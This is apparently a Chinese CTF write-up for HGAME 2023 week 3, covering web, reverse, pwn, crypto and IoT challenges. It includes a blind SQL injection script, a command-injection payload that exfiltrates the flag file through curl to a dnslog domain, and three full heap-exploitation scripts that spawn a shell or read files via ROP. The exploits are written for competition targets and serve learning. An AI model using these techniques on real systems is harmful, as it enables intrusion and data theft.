WEB

Login To Get My Gift

SQL盲注：

```
import requests
str1 = "Success!"
str2 = "Hello test user!"
url = "http://week-3.hgame.lwsec.cn:31583/login"
guess ="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
tables = ''

print("start")
for i in range(1,30):
    for j in guess:
        test=tables+j
        key=
{'username':"aaa\'or(left((select/**/BINARY/**/USERN4ME/**/from/**/User1nf0mAt1on/*
*/limit/**/0,1),%s)<\'%s\')#"%(i,test),'password':'testpassword'}
        res = requests.post(url,data=key).text
        print('............%s......%s.......'%(i,test))
        if str1 in res:
            tables+=chr(ord(j)-1)
            break
print("end!")
#user=hgAmE2023HAppYnEwyEAr
#pass=WeLc0meT0hgAmE2023hAPPySql

#USERN4ME
#PASSW0RD
```

库名、表名、列名都差不多这个方法爆出来，就是最后的内容需要区分大小写，给坑了好久。

Gopher Shop

Golang 整数溢出：

Product	Number	Operations
Apple	1	Sell
Flag	35184372088832	Sell

Ping To The Host

dnslog 把数据带出来就可以了，不过有些字符带不出来，需要切开一个个来：

#	Record
50	fQ.3be01c73.dns.1433.eu.org.
49	lQ.3be01c73.dns.1433.eu.org.
48	R.3be01c73.dns.1433.eu.org.
47	r.3be01c73.dns.1433.eu.org.
46	Z0VyUnJScIIK.3be01c73.dns.1433.eu.org.
45	dDFvbI9kQW4K.3be01c73.dns.1433.eu.org.
44	bU00bkRfRXhlY1UK.3be01c73.dns.1433.eu.org.
43	cDFuR190MF9Db20K.3be01c73.dns.1433.eu.org.
42	e.3be01c73.dns.1433.eu.org.
41	am.3be01c73.dns.1433.eu.org.

```
"0.0.0.0"&&curl${IFS}`he\ad${IFS}/fla*|cut${IFS}-b${IFS}47|base64|cut${IFS}-b${IFS}1-2`.3be01c73.dns.1433.eu.org
```

REVERSE

kunmusic

不熟 C#，最开始是发现了那个加载程序的东西，不过往 IDA 里丢没看出啥东西，后来才发现还是 C# 的二进制程序，打开直接看就行了：

```
from z3 import *
num1= [BitVec('a%d'%i,8) for i in range(13)]
num = num1[:]
```

```
solver = Solver()

solver.add(num[0]+52296+num[1]-26211+num[2]-11754+
(num[3]^41236)+num[4]*63747+num[5]-52714+num[6]-10512+num[7]*12972+num[8]+45505+num
[9]-21713+num[10]-59122+num[11]-12840+(num[12]^21087)==12702282)
solver.add(num[0]-25228+(num[1]^20699)+
(num[2]^8158)+num[3]-65307+num[4]*30701+num[5]*47555+num[6]-2557+
(num[7]^49055)+num[8]-7992+(num[9]^57465)+
(num[10]^57426)+num[11]+13299+num[12]-50966==9946829)
solver.add(num[0]-64801+num[1]-60698+num[2]-40853+num[3]-54907+num[4]+29882+
(num[5]^13574)+(num[6]^21310)+num[7]+47366+num[8]+41784+
(num[9]^53690)+num[10]*58436+num[11]*15590+num[12]+58225==2372055)
solver.add(num[0]+61538+num[1]-17121+num[2]-58124+num[3]+8186+num[4]+21253+num[5]-3
8524+num[6]-48323+num[7]-20556+num[8]*56056+num[9]+18568+num[10]+12995+
(num[11]^39260)+num[12]+25329==6732474)
solver.add(num[0]-42567+num[1]-17743+num[2]*47827+num[3]-10246+
(num[4]^16284)+num[5]+39390+num[6]*11803+num[7]*60332+(num[8]^18491)+
(num[9]^4795)+num[10]-25636+num[11]-16780+num[12]-62345==14020739)
solver.add(num[0]-10968+num[1]-31780+
(num[2]^31857)+num[3]-61983+num[4]*31048+num[5]*20189+num[6]+12337+num[7]*25945+
(num[8]^7064)+num[9]-25369+num[10]-54893+num[11]*59949+(num[12]^12441)==14434062)
solver.add(num[0]+16689+num[1]-10279+num[2]-32918+num[3]-57155+num[4]*26571+num[5]*
15086+(num[6]^22986)+(num[7]^23349)+(num[8]^16381)+
(num[9]^23173)+num[10]-40224+num[11]+31751+num[12]*8421==7433598)
solver.add(num[0]+28740+num[1]-64696+num[2]+60470+num[3]-14752+(num[4]^1287)+
(num[5]^35272)+num[6]+49467+num[7]-33788+num[8]+20606+
(num[9]^44874)+num[10]*19764+num[11]+48342+num[12]*56511==7989404)
solver.add((num[0]^28978)+num[1]+23120+num[2]+22802+num[3]*31533+
(num[4]^39287)+num[5]-48576+
(num[6]^28542)+num[7]-43265+num[8]+22365+num[9]+61108+num[10]*2823+num[11]-30343+nu
m[12]+14780==3504803)
solver.add(num[0]*22466+(num[1]^55999)+num[2]-53658+(num[3]^47160)+
(num[4]^12511)+num[5]*59807+num[6]+46242+num[7]+3052+
(num[8]^25279)+num[9]+30202+num[10]*22698+num[11]+33480+(num[12]^16757)==11003580)
solver.add(num[0]*57492+(num[1]^13421)+num[2]-13941+
(num[3]^48092)+num[4]*38310+num[5]+9884+num[6]-45500+num[7]-19233+num[8]+58274+num[
9]+36175+(num[10]^18568)+num[11]*49694+(num[12]^9473)==25546210)
solver.add(num[0]-23355+num[1]*50164+
(num[2]^34618)+num[3]+52703+num[4]+36245+num[5]*46648+(num[6]^4858)+
(num[7]^41846)+num[8]*27122+
(num[9]^42058)+num[10]*15676+num[11]-31863+num[12]+62510==11333836)
solver.add(num[0]*30523+(num[1]^7990)+num[2]+39058+num[3]*57549+
(num[4]^53440)+num[5]*4275+num[6]-48863+(num[7]^55436)+(num[8]^2624)+
(num[9]^13652)+num[10]+62231+num[11]+19456+num[12]-13195==13863722)

array =[132, 47, 180, 7, 216, 45, 68, 6, 39, 246,124, 2, 243, 137, 58, 172, 53,
```

```
200, 99, 91,83, 13, 171, 80, 108, 235, 179, 58, 176, 28,216, 36, 11, 80, 39, 162,
97, 58, 236, 130,123, 176, 24, 212, 56, 89, 72]

for i in range(len(array)):
        solver.add(array[i]^(num[i%13])>31)

solver.check()
result = solver.model()
flag=""
for i in range(len(array)):
        flag+=(chr(array[i]^(result[num[i%13]]).as_long()))
print(flag)
```

patchme

不记得怎么做了，就是 IDA 打开之后找到下面类似这段数据，感觉像是在加密 flag，逆运算写了就出了。

```
int main() {
    __int64 v9[6]; // [rsp+E0h] [rbp-1F0h]
    __int64 v13[6]; // [rsp+110h] [rbp-1C0h]
    v9[0] = 0x5416D999808A28FALL;
    v9[1] = 0x588505094953B563LL;
    v9[2] = 0xCE8CF3A0DC669097LL;
    v9[3] = 0x4C5CF3E854F44CBDLL;
    v9[4] = 0xD144E49916678331LL;
    v9[5] = 0x55BBD0DA616BACLL;
    v13[0] = 0x3B4FA2FCEDEB4F92LL;
    v13[1] = 0x7E45A6C3B67EA16LL;
    v13[2] = 0xAFE1ACC8BF12D0E7LL;
    v13[3] = 0x132EC3B7269138CELL;
    v13[4] = 0x8E2197EB7311E643LL;
    v13[5] = 0x28C9B5AE540AC1LL;
    for (int i = 0; i <= 46; ++i)
        putchar((char)(*((char*)v9 + i) ^ *((char*)v13 + i)));
}
```

cpp

chacha20， 在写密钥的时候有魔改：

```
#include <stdint.h>
#include <string.h>
#include "chacha20.h"
#include<stdio.h>
```

```c
static inline void u32t8le(uint32_t v, uint8_t p[4]) {
    p[0] = v & 0xff;
    p[1] = (v >> 8) & 0xff;
    p[2] = (v >> 16) & 0xff;
    p[3] = (v >> 24) & 0xff;
}

static inline uint32_t u8t32le(uint8_t p[4]) {
    uint32_t value = p[3];

    value = (value << 8) | p[2];
    value = (value << 8) | p[1];
    value = (value << 8) | p[0];

    return value;
}

static inline uint32_t rotl32(uint32_t x, int n) {
    return x << n | (x >> (-n & 31));
}

static void chacha20_quarterround(uint32_t* x, int a, int b, int c, int d) {
    x[a] += x[b]; x[d] = rotl32(x[d] ^ x[a], 16);
    x[c] += x[d]; x[b] = rotl32(x[b] ^ x[c], 12);
    x[a] += x[b]; x[d] = rotl32(x[d] ^ x[a], 8);
    x[c] += x[d]; x[b] = rotl32(x[b] ^ x[c], 7);
}

static void chacha20_serialize(uint32_t in[16], uint8_t output[64]) {
    int i;
    for (i = 0; i < 16; i++) {
        u32t8le(in[i], output + (i << 2));
    }
}

static void chacha20_block(uint32_t in[16], uint8_t out[64], int num_rounds) {
    int i;
    uint32_t x[16];

    memcpy(x, in, sizeof(uint32_t) * 16);

    for (i = num_rounds; i > 0; i -= 2) {
        chacha20_quarterround(x, 0, 4, 8, 12);
        chacha20_quarterround(x, 1, 5, 9, 13);
        chacha20_quarterround(x, 2, 6, 10, 14);
        chacha20_quarterround(x, 3, 7, 11, 15);
```

```
        chacha20_quarterround(x, 0, 5, 10, 15);
        chacha20_quarterround(x, 1, 6, 11, 12);
        chacha20_quarterround(x, 2, 7, 8, 13);
        chacha20_quarterround(x, 3, 4, 9, 14);
    }

    for (i = 0; i < 16; i++) {
        x[i] += in[i];
    }

    chacha20_serialize(x, out);
}

static void chacha20_init_state(uint32_t s[16], uint8_t key[32], uint32_t counter,
uint8_t nonce[12]) {
    int i;

    s[0] = 0x61707865;
    s[1] = 0x3320646e;
    s[2] = 0x79622d32;
    s[3] = 0x6b206574;

    for (i = 0; i < 8; i++) {
        s[4 + i] = *(key+i);
    }

    s[12] = counter;

    for (i = 0; i < 3; i++) {
        s[13 + i] = *(nonce + i);
    }
}

void ChaCha20XOR(uint8_t key[32], uint32_t counter, uint8_t nonce[12], uint8_t* in,
uint8_t* out, int inlen) {
    int i, j;

    uint32_t s[16];
    uint8_t block[64];

    chacha20_init_state(s, key, counter, nonce);

    for (i = 0; i < inlen; i += 64) {
        chacha20_block(s, block, 20);
        s[12]++;
```

```
        for (j = i; j < i + 64; j++) {
            if (j >= inlen) {
                break;
            }
            out[j] = in[j] ^ block[j - i];
        }
    }
}

int main()
{
    unsigned char ida_chars[] =
    {
      0x28, 0x50, 0xC1, 0x23, 0x98, 0xA1, 0x41, 0x36, 0x4C, 0x31,
      0xCB, 0x52, 0x90, 0xF1, 0xAC, 0xCC, 0x0F, 0x6C, 0x2A, 0x89,
      0x7F, 0xDF, 0x11, 0x84, 0x7F, 0xE6, 0xA2, 0xE0, 0x59, 0xC7,
      0xC5, 0x46, 0x5D, 0x29, 0x38, 0x93, 0xED, 0x15, 0x7A, 0xFF
    };

    unsigned char ida_chars2[40];
    unsigned char ida_chars3[40];

    for (int i = 0; i < 40; i += 4)
    {
        ida_chars2[i] = ida_chars[i + 3];
        ida_chars2[i+1] = ida_chars[i + 2];
        ida_chars2[i + 2] = ida_chars[i + 1];
        ida_chars2[i + 3] = ida_chars[i + 0];
    }
        uint8_t str1[] = "hgame{th1s_is_4_fake_fl4g_hahaha}";
        uint8_t str2[] = "hgame{this_is_another_fake_flag}";
    uint8_t encrypt[114];
    ChaCha20XOR(str1, 0x12345678, str2, ida_chars2, encrypt, 40);
    for (int i = 0; i < 40; i += 4)
    {
        ida_chars3[i] = encrypt[i + 3];
        ida_chars3[i + 1] = encrypt[i + 2];
        ida_chars3[i + 2] = encrypt[i + 1];
        ida_chars3[i + 3] = encrypt[i + 0];
    }
    printf("%s", ida_chars3);
}
```

PWN

safe_note

```
from pwn import *
context.log_level="debug"

#p=process("./vuln")
p=remote("week-3.hgame.lwsec.cn",31204)
elf=ELF("./vuln")
libc=elf.libc
def add(index,size):
        p.recvuntil(">")
        p.sendline("1")
        p.recvuntil("Index: ")
        p.sendline(str(index))
        p.recvuntil("Size: ")
        p.sendline(str(size))

def delete(index):
        p.recvuntil(">")
        p.sendline("2")
        p.recvuntil("Index: ")
        p.sendline(str(index))

def edit(index,context):
        p.recvuntil(">")
        p.sendline("3")
        p.recvuntil("Index: ")
        p.sendline(str(index))
        p.recvuntil("Content: ")
        p.send(context)

def show(index):
        p.recvuntil(">")
        p.sendline("4")
        p.recvuntil("Index: ")
        p.sendline(str(index))


for i in range(9):
        add(i,0xf8)

for i in range(8):
        delete(i)

edit(7,"a")
show(7)
```

```
leak=u64(p.recvuntil(b"\x7f").ljust(8,b'\x00'))-(0x7f478a386c61-0x7f478a1a3000)
print("leak_addr: "+hex(leak))
free_hook=leak+(0x7fe3ed0c4e40-0x7fe3ecede000)
print(hex(free_hook))
adr=leak+(0x7fc4fdea7c00-0x7fc4fdcc4000)
show(6)
heap=u64(p.recv(6).ljust(8,b'\x00'))
print("heap_addr: "+hex(heap))
edit(7,p64(adr))

edit(6,b"a"*8)
show(6)
p.recv(8)
heapkey=u64(p.recv(6).ljust(8,b'\x00'))
print("heapkey: "+hex(heapkey))
edit(6,p64((heapkey>>12)^free_hook))
systemaddr=leak+libc.sym["system"]
add(9,0xf8)
add(10,0xf8)

edit(10,p64(systemaddr))

edit(9,"/bin/sh\x00")
delete(9)

p.interactive()
```

large_note

```
from pwn import *
context.log_level="debug"

#p=process("./vuln")
p=remote("week-3.hgame.lwsec.cn",30222)
elf=ELF("./vuln")
libc=elf.libc
def add(index,size):
        p.recvuntil(">")
        p.sendline("1")
        p.recvuntil("Index: ")
        p.sendline(str(index))
        p.recvuntil("Size: ")
        p.sendline(str(size))

def delete(index):
```

```
        p.recvuntil(">")
        p.sendline("2")
        p.recvuntil("Index: ")
        p.sendline(str(index))

def edit(index,context):
        p.recvuntil(">")
        p.sendline("3")
        p.recvuntil("Index: ")
        p.sendline(str(index))
        p.recvuntil("Content: ")
        p.send(context)

def show(index):
        p.recvuntil(">")
        p.sendline("4")
        p.recvuntil("Index: ")
        p.sendline(str(index))

add(0,0x518)#0
add(1,0x798)#1
add(2,0x508)#2
add(3,0x798)#3

delete(0)#largebin attack
edit(0,"a")
show(0)
base=u64(p.recvuntil(b"\x7f").ljust(8,b'\x00'))-(0x7f478a386c61-0x7f478a1a3000)
print("leak_addr: "+hex(base))
edit(0,"\x00")

add(4,0x528)
edit(0,"a"*16)
show(0)
p.recv(16)
heap=u64(p.recv(6).ljust(8,b'\x00'))
heapbase=heap-(0x56188a375290-0x56188a375000)+(0x55e2a8177c00-0x55e2a8175000)
print("heap_addr: "+hex(heap))
print("heapbase: "+hex(heapbase))
recover=p64(base+0x1e4030)*2
edit(0,recover)

delete(2)
target_addr = base + 0x7f1933f4d2d0 - 0x7f1933d6a000-32

edit(0,p64(base+0x1e4030) * 2 + p64(heap) + p64(target_addr))#largebin attack
```

```
add(5,0x528)#5
edit(5,'/bin/sh\x00')

add(6,0x580)#6
add(7,0x580)#7
delete(6)
delete(7)

free_hook = base + libc.symbols['__free_hook']

system = base + libc.symbols['system']
print(hex(heapbase>>12))
print(hex(free_hook))
edit(7,p64(free_hook^(heapbase>>12)))
add(8,0x580)#8

add(9,0x580)#9
edit(9,p64(system))
delete(5)
p.interactive()
```

note_context

```
from pwn import *
context.log_level="debug"

#p=process("./vuln")
p=remote("week-3.hgame.lwsec.cn",30545)
elf=ELF("./vuln")
libc=elf.libc
def add(index,size):
        p.recvuntil(">")
        p.sendline("1")
        p.recvuntil("Index: ")
        p.sendline(str(index))
        p.recvuntil("Size: ")
        p.sendline(str(size))

def delete(index):
        p.recvuntil(">")
        p.sendline("2")
        p.recvuntil("Index: ")
        p.sendline(str(index))

def edit(index,context):
```

```
        p.recvuntil(">")
        p.sendline("3")
        p.recvuntil("Index: ")
        p.sendline(str(index))
        p.recvuntil("Content: ")
        p.send(context)

def show(index):
        p.recvuntil(">")
        p.sendline("4")
        p.recvuntil("Index: ")
        p.sendline(str(index))

add(0,0x518)#0
add(1,0x798)#1
add(2,0x508)#2
add(3,0x798)#3

delete(0)#largebin attack
edit(0,"a")
show(0)
base=u64(p.recvuntil(b"\x7f").ljust(8,b'\x00'))-(0x7f478a386c61-0x7f478a1a3000)
print("leak_addr: "+hex(base))
edit(0,"\x00")

add(4,0x528)
edit(0,"a"*16)
show(0)
p.recv(16)
heap=u64(p.recv(6).ljust(8,b'\x00'))
heapbase=heap-(0x56188a375290-0x56188a375000)+(0x55e2a8177c00-0x55e2a8175000)
print("heap_addr: "+hex(heap))
print("heapbase: "+hex(heapbase))
recover=p64(base+0x1e4030)*2
edit(0,recover)

delete(2)
target_addr = base + 0x7f1933f4d2d0 - 0x7f1933d6a000-32
target_heap=heapbase+(0x563df74c9140-0x563df74c7000)-(0x56193a0a4d40-
0x56193a0a2140)
level_ret=0x000000000005591c+base

edit(0,p64(base+0x1e4030) * 2 + p64(heap) + p64(target_addr))#largebin attack
add(5,0x528)#5

rax_target=target_heap+0x50
```

```
rbp_target=target_heap+0x58
add_rsp=0x00000000000455f5+base

pop_rdi=0x000000000002858f+base
pop_rsi=0x000000000002ac3f+base
pop_rdx_bx=0x00000000001597d6+base
print("TARGET HEAP: "+hex(target_heap))
payload=b""
payload+=p64(0)*2+p64(0)+p64(0)+p64(5)*5+p64(rbp_target)+p64(add_rsp)*3+p64(add_rsp
)+p64(rax_target)
payload+=p64(level_ret)+p64(0)*2
payload+=p64(pop_rdi)+p64(target_heap-(0x55c4ed426140-
0x55c4ed4247c0))+p64(pop_rsi)+p64(0)+p64(base+libc.sym["open"])
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(target_heap+0x300)+p64(pop_rdx_bx)+p6
4(0x100)+p64(0)+p64(base+libc.sym["read"])
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(target_heap+0x300)+p64(pop_rdx_bx)+p6
4(0x100)+p64(0)+p64(base+libc.sym["write"])
edit(5,payload)

add(6,0x580)#6
add(7,0x580)#7
delete(6)
delete(7)

free_hook = base + libc.symbols['__free_hook']
edit(7,p64(free_hook^(heapbase>>12)))

add(8,0x580)#8

add(9,0x580)#9

gadget1=base+(0x00007fa1b26ac760-0x7fa1b2561000)
gadget2=base+(0x00007fa1b25b4156-0x7fa1b2561000)
gadget3=base+(0x00007fa1b26af72a-0x7fa1b2561000)
edit(9,p64(gadget3))

edit(1,"flag\x00")
delete(5)

p.interactive()
```

CRYPTO

ezDH

```
p =
0x2be227c3c0e997310bc6dad4ccfeec793dca4359aef966217a88a27da31ffbcd6bb271780d8ba89e3
cf202904efde03c59fef3e362b12e5af5afe8431cde31888211d72cc1a00f7c92cb6adb17ca909c3b84
fcad66ac3be724fbcbe13d83bbd3ad50c41a79fcdf04c251be61c0749ea497e65e408dac4bbcb3148db
4ad9ca0aa4ee032f2a4d6e6482093aa7133e5b1800001
g = 2
h =
0x1889c9c65147470fdb3ad3cf305dc3461d1553ee2ce645586cf018624fc7d8e566e04d416e684c0c3
79d5819734fd4a09d80add1b3310d76f42fcb1e2f5aac6bcdd285589b3c2620342deffb73464209130a
dbd3a444b253fc648b40f0acec7493adcb3be3ee3d71a00a2b121c65b06769aada82cd1432a6270e84f
7350cd61dddc17fe14de54ab436f41b9c9a0430510dde
R = IntegerModRing(p)
x = discrete_log(R(h), R(g))
print(x)
#x=523395080617584542626887374797915530377197776414307699064494325754883865689240606662282052952769155869279302851357127396057956141700522707614969003724858649469855458912748021620773222294584347455737042066389082761054791847391943575954645806724433924897674867376454396257875249718213145700160788809038411884417511593659507

from sage.all import *

p =
6864797660130609714981900799081393217269435300143305409394463459185543183397656052122559640661454554977296311391480858037121987999716643812574028291115057151
a = -3
b
=109384903807373427451111239076680556993620759895168374899458639449595311615073501601370873757375962324859213229670631330943845253159101291214232748847898598 4
E = EllipticCurve(GF(p), [a, b])

secret=2100799863105390590264693007206554269519193933354851236186879870297466587637984395763766462261612930062614720234368704467041608144870444272724981267262775234260543344894029186966324710535665679642882954422643733531840456867586319525184457005627246920503072702593760211033564660458241740585510545357962776271548366261192225858621316796256732798987036 54
G=E([6205877918333770287323403670543661734129170085954198767820861962261174202646976379181735257759867760655835711845144326470613882395445975482219869828210975915,3475351956909044812130266914587199895248867449669290021764126870271692995160201860564302206748373950979891071705183465400186006709376501382325624851012261206])

PUB=E([2131916734759224323822132103713450942372127857975491448998753734796387810139407713081623540463771547844600806401723562334185214530516095152824413924854874698,1690322613136671350646569297044951327454506934124656653046321341087958059722809120500999091493097880695888777563486212179798037350151439310538948719271467773])

C1=E([203263895957573779855373423895317706567102111245000247182422573449173560460000
```

```
030284917291314457344324425102019559774724087284152270187464672501070804830736 47,35101470807937501337516469300186875271289381757867142699026045027002489481542998539802507815837896238386312445206491130716647678979646119021204111420278488 68])
C2=E([667037343734418040412798382148217814937411681754468809498641263157585402138545967685447533506836969887598813500969818725552350184101343089213337157798748052 2,664896442603467730418986290291745832884548404781870759832907980673234627484895574770071610198320716534731591618207692876407660200884669504918187418770705139 5])
m = C2 - (secret*C1)
print(m)
```

没看懂为什么可以直接算出指数，但是网上找到类似的题目了，直接跑了一下发现真的可以直接算出来，然后就正常解就行了。

MISC

Tunnel

查字符串。

IOT

another UNO

有一半是猜出来的，只看出了 0x23 和 0x22，但是全都异或 0x23 似乎不太行，切开两半又好像差了一点，最后猜出来是 0x21了。

```
int main() {
    int p[] = { 0x4B, 0x44, 0x42, 0x4E, 0x46, 0x58, 0x62, 0x50, 0x46, 0x57, 0x4B, 0x4C, 0x4D,0x7D, 0x10, 0x52, 0x7E, 0x67, 0x54, 0x4F, 0x5C };
    for (int i = 0; i < 7; i++)
    {
        p[i] ^= 0x23;
        printf("%c", p[i]);
    }
    for (int i = 7; i <14; i++)
    {
        p[i] ^= 0x22;
        printf("%c", p[i]);
    }
    for (int i = 14; i < 21; i++)
    {
        p[i] ^= 0x21;
        printf("%c", p[i]);
```

```
    }
}
```